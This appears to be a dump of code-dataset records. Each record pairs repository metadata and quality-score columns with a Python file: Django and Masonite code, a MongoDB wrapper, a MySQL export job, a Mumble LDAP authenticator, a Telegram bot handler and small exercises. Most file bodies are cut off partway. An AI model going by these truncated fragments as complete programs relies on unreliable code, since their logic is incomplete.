... | 32.698113 | 80 | 0.616272 | 602 | 5,199 | 5.172757 | 0.315615 | 0.04271 | 0.026975 | 0.021837 | 0.043031 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002248 | 0.315445 | 5,199 | 158 | 81 | 32.905063 | 0.872717 | 0.451818 | 0 | 0 | 0 | 0 | 0.062476 | 0.036637 | 0 | 0 | 0 | 0 | 0 | 1 | 0.056338 | false | 0.056338 | 0.042254 | 0 | 0.140845 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
567b48fe882da142d6d4c2c72b230c48ebba5eea | 975 | py | Python | tests/test_app.py | NinjasCL-labs/masonite-core | 14053038891bd19f96303463bbe153b0c4819271 | [
"MIT"
] | null | null | null | tests/test_app.py | NinjasCL-labs/masonite-core | 14053038891bd19f96303463bbe153b0c4819271 | [
"MIT"
] | null | null | null | tests/test_app.py | NinjasCL-labs/masonite-core | 14053038891bd19f96303463bbe153b0c4819271 | [
"MIT"
] | null | null | null | from masonite.app import App
from masonite.request import Request
from masonite.routes import Get, Post
from masonite.exceptions import ContainerError
import inspect
import pytest
REQUEST = Request({})
class TestApp:
def setup_method(self):
self.app = App()
def test_app_binds(self):
self.app... | 30.46875 | 73 | 0.667692 | 123 | 975 | 5.186992 | 0.382114 | 0.098746 | 0.086207 | 0.047022 | 0.07837 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005175 | 0.207179 | 975 | 32 | 74 | 30.46875 | 0.820181 | 0 | 0 | 0.08 | 0 | 0 | 0.07377 | 0 | 0 | 0 | 0 | 0 | 0.08 | 1 | 0.2 | false | 0 | 0.24 | 0.04 | 0.52 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
567ecf8182127ee1c0ffa340d6e24097c9586ed7 | 1,445 | py | Python | django/api/process/utils/mongo/repository.py | sizxy3462g5829bz/mantistable4-modified | d894ade055da4aa7f7febb10ead3527fa6cdc57a | [
"Apache-2.0"
] | null | null | null | django/api/process/utils/mongo/repository.py | sizxy3462g5829bz/mantistable4-modified | d894ade055da4aa7f7febb10ead3527fa6cdc57a | [
"Apache-2.0"
] | null | null | null | django/api/process/utils/mongo/repository.py | sizxy3462g5829bz/mantistable4-modified | d894ade055da4aa7f7febb10ead3527fa6cdc57a | [
"Apache-2.0"
] | null | null | null | from api.process.utils.singleton import Singleton
import mantistable.settings
from pymongo import MongoClient
from pymongo import UpdateOne
@Singleton
class MongoWrapper():
def __init__(self):
host = mantistable.settings.DATABASES["default"]["HOST"]
port = mantistable.settings.DATABASES["default"]... | 28.9 | 66 | 0.604152 | 154 | 1,445 | 5.487013 | 0.383117 | 0.089941 | 0.099408 | 0.12426 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.287197 | 1,445 | 50 | 67 | 28.9 | 0.820388 | 0.058824 | 0 | 0.184211 | 0 | 0 | 0.060383 | 0.017673 | 0 | 0 | 0 | 0.02 | 0 | 1 | 0.184211 | false | 0 | 0.105263 | 0 | 0.342105 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
5686bca10687bf8cc760f5afe72bdfc5e0875400 | 2,055 | py | Python | data_structures/stack.py | avg-2049-joe/py-algo-ds | 4f9c3c086e134ee23fcc0ee3b981e81f40e860cd | [
"MIT"
] | null | null | null | data_structures/stack.py | avg-2049-joe/py-algo-ds | 4f9c3c086e134ee23fcc0ee3b981e81f40e860cd | [
"MIT"
] | null | null | null | data_structures/stack.py | avg-2049-joe/py-algo-ds | 4f9c3c086e134ee23fcc0ee3b981e81f40e860cd | [
"MIT"
] | null | null | null | """
Stack data structure is optimized for quick appends (push) and removal of the last
node (pop)
"""
class Node:
"""Node is a simple data structure holding information"""
def __init__(self, value, node):
self.__value = value
self.__next = node
@property
def value(self):
"""Re... | 23.62069 | 82 | 0.582482 | 257 | 2,055 | 4.361868 | 0.268482 | 0.057092 | 0.03479 | 0.048171 | 0.123996 | 0.043711 | 0.043711 | 0.043711 | 0 | 0 | 0 | 0.004211 | 0.306569 | 2,055 | 86 | 83 | 23.895349 | 0.782456 | 0.200973 | 0 | 0.196429 | 0 | 0 | 0.018308 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.214286 | false | 0 | 0 | 0.017857 | 0.392857 | 0.089286 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
56879b7e61c12e9db88377c5b56561a5169fe749 | 688 | py | Python | backend/products/models/product.py | Stonedch/web-privollesru | 44f5656c57457ba00cc33f770d57823edacc1ce2 | [
"MIT"
] | null | null | null | backend/products/models/product.py | Stonedch/web-privollesru | 44f5656c57457ba00cc33f770d57823edacc1ce2 | [
"MIT"
] | null | null | null | backend/products/models/product.py | Stonedch/web-privollesru | 44f5656c57457ba00cc33f770d57823edacc1ce2 | [
"MIT"
] | null | null | null | from django.db import models
from django.utils.translation import gettext as _
class Product(models.Model):
title = models.CharField(max_length=128, verbose_name=_('title'))
subtitle = models.CharField(max_length=512, verbose_name=_('subtitle'))
picture = models.ImageField(
upload_to='products', b... | 34.4 | 79 | 0.699128 | 82 | 688 | 5.54878 | 0.512195 | 0.169231 | 0.098901 | 0.105495 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010563 | 0.174419 | 688 | 19 | 80 | 36.210526 | 0.790493 | 0 | 0 | 0 | 0 | 0 | 0.100291 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.066667 | false | 0 | 0.133333 | 0.066667 | 0.733333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
5691bdf4cad9f6eb75804573300531c1a2131b34 | 449 | py | Python | radiome/core/context.py | radiome-flow/radiome | d43ea6286098066c4a28ba399dcf4a444fecf77e | [
"BSD-3-Clause"
] | 2 | 2019-12-19T19:03:55.000Z | 2019-12-23T11:21:22.000Z | radiome/core/context.py | radiome-lab/radiome | d43ea6286098066c4a28ba399dcf4a444fecf77e | [
"BSD-3-Clause"
] | 63 | 2020-01-16T00:16:49.000Z | 2020-08-07T06:16:14.000Z | radiome/core/context.py | radiome-lab/radiome | d43ea6286098066c4a28ba399dcf4a444fecf77e | [
"BSD-3-Clause"
] | 2 | 2019-11-20T16:10:02.000Z | 2019-11-20T19:41:00.000Z | import os
from dataclasses import dataclass
from typing import Union, List, Dict
from radiome.core.utils.s3 import S3Resource
@dataclass(frozen=True)
class Context:
working_dir: Union[str, os.PathLike]
inputs_dir: Union[str, os.PathLike, S3Resource]
outputs_dir: Union[str, os.PathLike, S3Resource]
pa... | 23.631579 | 52 | 0.746102 | 61 | 449 | 5.360656 | 0.57377 | 0.073395 | 0.100917 | 0.119266 | 0.253823 | 0.189602 | 0 | 0 | 0 | 0 | 0 | 0.01087 | 0.180401 | 449 | 18 | 53 | 24.944444 | 0.877717 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.266667 | 0 | 0.933333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
569999d10814e63a78c91b3cf3dcfdf45398e39b | 1,308 | py | Python | itembase/core/forms/vendor_forms.py | wedwardbeck/ibase | 5647fa5aff6c1bdc99b6c93884ff0d5aef17d85b | [
"MIT"
] | null | null | null | itembase/core/forms/vendor_forms.py | wedwardbeck/ibase | 5647fa5aff6c1bdc99b6c93884ff0d5aef17d85b | [
"MIT"
] | 9 | 2020-01-17T14:16:08.000Z | 2020-02-18T15:07:40.000Z | itembase/core/forms/vendor_forms.py | wedwardbeck/ibase | 5647fa5aff6c1bdc99b6c93884ff0d5aef17d85b | [
"MIT"
] | null | null | null | from django.forms import ModelForm, ModelChoiceField
from itembase.core.models import Address, AddressType, AddressUsage, Vendor, VendorClientMatrix, VendorLocMatrix
class VendorForm(ModelForm):
class Meta:
model = Vendor
fields = [
"name1",
"name2",
"taxid",
... | 25.647059 | 112 | 0.592508 | 113 | 1,308 | 6.778761 | 0.504425 | 0.046997 | 0.073107 | 0.090078 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005435 | 0.296636 | 1,308 | 50 | 113 | 26.16 | 0.827174 | 0.099388 | 0 | 0.277778 | 0 | 0 | 0.144681 | 0 | 0 | 0 | 0 | 0.02 | 0 | 1 | 0 | false | 0 | 0.055556 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
569f26aff5977319315455f5627c7c6a008eea55 | 2,900 | py | Python | jaunt/jobs/mysql/export.py | boazjohn/quarryio | 99e9508a33ef6c886fecd4e2c941c1e8bd7ac165 | [
"BSD-3-Clause"
] | 1 | 2018-07-19T10:15:40.000Z | 2018-07-19T10:15:40.000Z | jaunt/jobs/mysql/export.py | boazjohn/quarryio | 99e9508a33ef6c886fecd4e2c941c1e8bd7ac165 | [
"BSD-3-Clause"
] | null | null | null | jaunt/jobs/mysql/export.py | boazjohn/quarryio | 99e9508a33ef6c886fecd4e2c941c1e8bd7ac165 | [
"BSD-3-Clause"
] | null | null | null | ["PyMySQL==0.6.1"]
import datetime
import json
import os
import pymysql
import subprocess
import time
def run(sc, options):
def escape(string):
"""
Escape a string in mysql, because the builtin
escpae function really sucks
Args:
string: a string to escape
R... | 25 | 98 | 0.533448 | 292 | 2,900 | 5.291096 | 0.424658 | 0.020712 | 0.02589 | 0.020712 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007439 | 0.351034 | 2,900 | 115 | 99 | 25.217391 | 0.813496 | 0.075517 | 0 | 0.092308 | 0 | 0 | 0.097603 | 0 | 0 | 0 | 0 | 0.008696 | 0 | 0 | null | null | 0.015385 | 0.123077 | null | null | 0.015385 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
56a0852dfe8bf992e521c1d368e707d570f21a09 | 1,271 | py | Python | tests/runtime/strange.py | dcramer/jinja1-djangosupport | 755287f155c18ccabe69f1318bacdaca14f55da3 | [
"BSD-3-Clause"
] | 2 | 2015-09-24T19:53:35.000Z | 2015-11-06T10:47:02.000Z | tests/runtime/strange.py | dcramer/jinja1-djangosupport | 755287f155c18ccabe69f1318bacdaca14f55da3 | [
"BSD-3-Clause"
] | null | null | null | tests/runtime/strange.py | dcramer/jinja1-djangosupport | 755287f155c18ccabe69f1318bacdaca14f55da3 | [
"BSD-3-Clause"
] | null | null | null | import jdebug
from jinja import Environment, DictLoader
base_tmpl = """
{% block content %}Default{% endblock %}
"""
### condition is inside of block
test1 = """
{% extends 'base' %}
{% block content %}
{% if False %}
{{ throw_exception() }}
{% endif %}
{% endblock %}
"""
### block is inside of condition
... | 21.913793 | 69 | 0.617624 | 136 | 1,271 | 5.617647 | 0.470588 | 0.128272 | 0.026178 | 0.065445 | 0.073298 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00418 | 0.24705 | 1,271 | 57 | 70 | 22.298246 | 0.794148 | 0.044847 | 0 | 0.348837 | 0 | 0 | 0.45319 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.023256 | 0.046512 | null | null | 0.139535 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
56a32b9e1b30cd62582e5220daa09fc9700ea2ae | 638 | py | Python | rx.py | ghub/multicast | 1c652b133067d01aa348160741026f204b68a4e0 | [
"Apache-2.0"
] | null | null | null | rx.py | ghub/multicast | 1c652b133067d01aa348160741026f204b68a4e0 | [
"Apache-2.0"
] | null | null | null | rx.py | ghub/multicast | 1c652b133067d01aa348160741026f204b68a4e0 | [
"Apache-2.0"
] | null | null | null | import socket
import struct
MCAST_GRP = '239.255.43.21'
MCAST_PORT = 45454
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
# sock.bind((MCAST_GRP, MCAST_PORT))
sock.bind(... | 33.578947 | 75 | 0.739812 | 98 | 638 | 4.602041 | 0.489796 | 0.088692 | 0.133038 | 0.101996 | 0.16408 | 0.16408 | 0.16408 | 0 | 0 | 0 | 0 | 0.042125 | 0.144201 | 638 | 18 | 76 | 35.444444 | 0.783883 | 0.280564 | 0 | 0 | 0 | 0 | 0.035242 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.181818 | null | null | 0.090909 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
3b1680f8c48497f62608c5fbf5364bcabd9c3bf9 | 1,288 | py | Python | leetcode/010-Regular-Expression-Matching/RegExpMatch.py | cc13ny/all-in | bc0b01e44e121ea68724da16f25f7e24386c53de | [
"MIT"
] | 1 | 2015-12-16T04:01:03.000Z | 2015-12-16T04:01:03.000Z | leetcode/010-Regular-Expression-Matching/RegExpMatch.py | cc13ny/all-in | bc0b01e44e121ea68724da16f25f7e24386c53de | [
"MIT"
] | 1 | 2016-02-09T06:00:07.000Z | 2016-02-09T07:20:13.000Z | leetcode/010-Regular-Expression-Matching/RegExpMatch.py | cc13ny/all-in | bc0b01e44e121ea68724da16f25f7e24386c53de | [
"MIT"
] | 2 | 2019-06-27T09:07:26.000Z | 2019-07-01T04:40:13.000Z | class Solution(object):
def isMatch(self, s, p):
"""
:type s: str
:type p: str
:rtype: bool
"""
n_s = len(s)
n_star = 0
seg = []
i = len(p) - 1
while i > -1:
if p[i] == '*':
n_star += 1
seg.i... | 28 | 113 | 0.321429 | 188 | 1,288 | 2.164894 | 0.196809 | 0.063882 | 0.085995 | 0.058968 | 0.46683 | 0.407862 | 0.302211 | 0.250614 | 0.250614 | 0.250614 | 0 | 0.064 | 0.514752 | 1,288 | 45 | 114 | 28.622222 | 0.5872 | 0.029503 | 0 | 0.285714 | 0 | 0 | 0.002479 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.028571 | false | 0 | 0 | 0 | 0.085714 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
3b1802d5a9e0618dd9efde009bd77bfe1155bd0e | 18,058 | py | Python | python/xpkg/util.py | jlisee/xpkg | 9a0e7ade90d6154789cdfcfd845fd2c40123697b | [
"BSD-3-Clause"
] | 2 | 2015-08-25T11:41:12.000Z | 2016-03-24T04:01:06.000Z | python/xpkg/util.py | jlisee/xpkg | 9a0e7ade90d6154789cdfcfd845fd2c40123697b | [
"BSD-3-Clause"
] | null | null | null | python/xpkg/util.py | jlisee/xpkg | 9a0e7ade90d6154789cdfcfd845fd2c40123697b | [
"BSD-3-Clause"
] | 1 | 2019-11-07T12:41:51.000Z | 2019-11-07T12:41:51.000Z | # Author: Joseph Lisee <jlisee@gmail.com>
# Python Imports
import copy
import fnmatch
import hashlib
import multiprocessing
import os
import re
import string
import subprocess
import sys
import tarfile
import urllib
from contextlib import contextmanager
# Library Imports
import yaml
try:
# Try and use CLoader/C... | 24.502035 | 93 | 0.589545 | 2,267 | 18,058 | 4.590648 | 0.221438 | 0.005765 | 0.005189 | 0.006726 | 0.095993 | 0.061978 | 0.055924 | 0.034976 | 0.022293 | 0.018161 | 0 | 0.005648 | 0.323458 | 18,058 | 736 | 94 | 24.535326 | 0.846198 | 0.125263 | 0 | 0.177914 | 0 | 0 | 0.009392 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.055215 | null | null | 0.015337 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
3b2acc98435ce9e0fbf0f4182de4b847aeec8ac8 | 600 | py | Python | article/migrations/0006_auto_20180412_2109.py | AmlHanfy/iTrack-Project | 6afe64ff3bd78c6c9dc93d68c0ed52708a8dcb1a | [
"Apache-2.0"
] | null | null | null | article/migrations/0006_auto_20180412_2109.py | AmlHanfy/iTrack-Project | 6afe64ff3bd78c6c9dc93d68c0ed52708a8dcb1a | [
"Apache-2.0"
] | null | null | null | article/migrations/0006_auto_20180412_2109.py | AmlHanfy/iTrack-Project | 6afe64ff3bd78c6c9dc93d68c0ed52708a8dcb1a | [
"Apache-2.0"
] | 3 | 2018-01-23T19:08:22.000Z | 2018-09-25T06:47:24.000Z | # Generated by Django 2.0.2 on 2018-04-12 19:09
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('article', '0005_auto_20180412_1836'),
]
operations = [
migrations.DeleteModel(
na... | 26.086957 | 136 | 0.601667 | 63 | 600 | 5.634921 | 0.650794 | 0.067606 | 0.078873 | 0.123944 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.071926 | 0.281667 | 600 | 22 | 137 | 27.272727 | 0.75174 | 0.075 | 0 | 0.125 | 1 | 0 | 0.13371 | 0.043315 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.125 | 0 | 0.3125 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
3b2c7400c36288b13caa6c838021d79b8fb6c76c | 660 | py | Python | 2020/Round_C/3.py | victor-paltz/kick-start | 2baea6e32cffb96aa04d987fa2a1a0c2560eb8d6 | [
"MIT"
] | 1 | 2020-05-23T23:25:22.000Z | 2020-05-23T23:25:22.000Z | 2020/Round_C/3.py | victor-paltz/kick-start | 2baea6e32cffb96aa04d987fa2a1a0c2560eb8d6 | [
"MIT"
] | null | null | null | 2020/Round_C/3.py | victor-paltz/kick-start | 2baea6e32cffb96aa04d987fa2a1a0c2560eb8d6 | [
"MIT"
] | null | null | null |
import sys
def readstr(): return sys.stdin.readline().strip()
def readint(): return int(readstr())
def readints(): return [int(x) for x in readstr().split()]
squares = {i*i for i in range(1000)}
def solve(arr, N):
n = len(arr)
cum_arr = [0]*(n+1)
s = 0
for i, x in enumerate(arr):
cu... | 14.666667 | 58 | 0.518182 | 110 | 660 | 3.063636 | 0.327273 | 0.089021 | 0.035608 | 0.065282 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.028698 | 0.313636 | 660 | 44 | 59 | 15 | 0.715232 | 0 | 0 | 0 | 0 | 0 | 0.018209 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.041667 | 0.125 | 0.25 | 0.041667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 |
3b2f25375297558774f20737d6d3bef3d0200a75 | 848 | py | Python | ex/ex048.py | Ozcry/PythonExercicio | b4d4a4fbd6467d1ced0815677ecbd78c2613c4c9 | [
"MIT"
] | null | null | null | ex/ex048.py | Ozcry/PythonExercicio | b4d4a4fbd6467d1ced0815677ecbd78c2613c4c9 | [
"MIT"
] | null | null | null | ex/ex048.py | Ozcry/PythonExercicio | b4d4a4fbd6467d1ced0815677ecbd78c2613c4c9 | [
"MIT"
] | null | null | null | ''' Faça um programa que calcule a soma entre todos os números impares que são múltiplos de três e que se encontram no
intervalo de 1 até 500.'''
print('\033[1;33m-=\033[m' * 20)
soma = 0
contador = 0
for c in range(1, 501, 2):
if c % 3 == 0:
contador += 1
soma += c
print('\033[35mExiste\033[m {}{}{... | 36.869565 | 197 | 0.599057 | 158 | 848 | 3.21519 | 0.310127 | 0.07874 | 0.070866 | 0.094488 | 0.572835 | 0.431102 | 0.431102 | 0.370079 | 0.370079 | 0.279528 | 0 | 0.181953 | 0.20283 | 848 | 22 | 198 | 38.545455 | 0.569527 | 0.179245 | 0 | 0.222222 | 0 | 0.111111 | 0.492021 | 0 | 0 | 0 | 0 | 0.136364 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.333333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
3b3c407b8f6f8a1c517df0c355c03f1e8d879c45 | 28,996 | py | Python | config/LDAPauth.py | andimiller/pizza-auth | e36870a4edf84a203bbaad5911e2b0e5f605f60e | [
"MIT"
] | 2 | 2015-06-12T08:26:02.000Z | 2015-09-09T00:25:59.000Z | config/LDAPauth.py | Sylnai/pizza-auth | e36870a4edf84a203bbaad5911e2b0e5f605f60e | [
"MIT"
] | 1 | 2021-06-15T20:28:49.000Z | 2021-06-15T20:28:49.000Z | config/LDAPauth.py | Sylnai/pizza-auth | e36870a4edf84a203bbaad5911e2b0e5f605f60e | [
"MIT"
] | 2 | 2015-11-13T16:43:30.000Z | 2016-09-15T18:39:05.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright (C) 2011 Benjamin Jemlich <pcgod@user.sourceforge.net>
# Copyright (C) 2011 Nathaniel Kofalt <nkofalt@users.sourceforge.net>
# Copyright (C) 2013 Stefan Hacker <dd0t@users.sourceforge.net>
#
# All rights reserved.
#
# Redistribution and use in source and binary ... | 39.994483 | 220 | 0.560595 | 3,154 | 28,996 | 5.092898 | 0.239062 | 0.022599 | 0.0127 | 0.010459 | 0.174251 | 0.136151 | 0.125942 | 0.084355 | 0.066052 | 0.040839 | 0 | 0.005899 | 0.351048 | 28,996 | 724 | 221 | 40.049724 | 0.847744 | 0.240792 | 0 | 0.253197 | 0 | 0 | 0.124252 | 0.0069 | 0 | 0 | 0 | 0.001381 | 0 | 0 | null | null | 0.005115 | 0.035806 | null | null | 0.012788 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
3b4076e7d48c5a9ca817f29053e1a75925537871 | 7,558 | py | Python | handler.py | kwokyto/anonymous-telegram-bot | f643073c01f11bf811d4027b3a63313f72289214 | [
"MIT"
] | null | null | null | handler.py | kwokyto/anonymous-telegram-bot | f643073c01f11bf811d4027b3a63313f72289214 | [
"MIT"
] | null | null | null | handler.py | kwokyto/anonymous-telegram-bot | f643073c01f11bf811d4027b3a63313f72289214 | [
"MIT"
] | null | null | null | ## THIS IS ANONYMOUS HANDLER
import json
import telegram
import os
import logging
from dynamo_call import *
# Logging is cool!
logger = logging.getLogger()
if logger.handlers:
for handler in logger.handlers:
logger.removeHandler(handler)
logging.basicConfig(level=logging.INFO)
OK_RESPONSE = {
'stat... | 32.299145 | 126 | 0.628341 | 880 | 7,558 | 5.232955 | 0.261364 | 0.028665 | 0.073833 | 0.05646 | 0.238002 | 0.176764 | 0.137676 | 0.059935 | 0.031922 | 0 | 0 | 0.006772 | 0.277057 | 7,558 | 234 | 127 | 32.299145 | 0.836018 | 0.131119 | 0 | 0.214724 | 0 | 0.01227 | 0.177025 | 0.003247 | 0 | 0 | 0 | 0 | 0 | 1 | 0.02454 | false | 0.06135 | 0.030675 | 0 | 0.171779 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
3b409c2045dddf6b1973a95247d704d9b712927d | 755 | py | Python | exercicios/ex042.py | RicardoAugusto-RCD/exercicios_python | 8a803f9cbc8b2ad0b5a6d61f0e7b6c2bc615b5ff | [
"MIT"
] | null | null | null | exercicios/ex042.py | RicardoAugusto-RCD/exercicios_python | 8a803f9cbc8b2ad0b5a6d61f0e7b6c2bc615b5ff | [
"MIT"
] | null | null | null | exercicios/ex042.py | RicardoAugusto-RCD/exercicios_python | 8a803f9cbc8b2ad0b5a6d61f0e7b6c2bc615b5ff | [
"MIT"
] | null | null | null |
# Refaça o desafio 035 dos triângulos, acrescentando o recurso de mostrar que tipo de triângulo será formado:
# Equilátero: todos os lados iguais.
# Isósceles: dois lados iguais.
# Escaleno: todos os lados diferentes.
reta1 = float(input('Digite o valor da reta 1: '))
reta2 = float(input('Digite o valor da reta 2: '... | 27.962963 | 109 | 0.66755 | 106 | 755 | 4.754717 | 0.424528 | 0.079365 | 0.095238 | 0.10119 | 0.329365 | 0.329365 | 0.329365 | 0.162698 | 0.162698 | 0 | 0 | 0.051282 | 0.225166 | 755 | 26 | 110 | 29.038462 | 0.810256 | 0.276821 | 0 | 0.153846 | 0 | 0 | 0.283333 | 0 | 0 | 0 | 0 | 0.038462 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.384615 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
3b40fdd323c54e680349b002b965ee95e8095ee8 | 6,277 | py | Python | transformation/reflection/t_reflection_examples.py | dpazel/music_rep | 2f9de9b98b13df98f1a0a2120b84714725ce527e | [
"MIT"
] | 1 | 2021-05-06T19:45:54.000Z | 2021-05-06T19:45:54.000Z | transformation/reflection/t_reflection_examples.py | dpazel/music_rep | 2f9de9b98b13df98f1a0a2120b84714725ce527e | [
"MIT"
] | null | null | null | transformation/reflection/t_reflection_examples.py | dpazel/music_rep | 2f9de9b98b13df98f1a0a2120b84714725ce527e | [
"MIT"
] | null | null | null | """
File: T_reflection_examples.py
Purpose: examples of t_flip applied to a melody.
"""
from fractions import Fraction
from tonalmodel.diatonic_pitch import DiatonicPitch
from transformation.functions.pitchfunctions.diatonic_pitch_reflection_function import FlipType
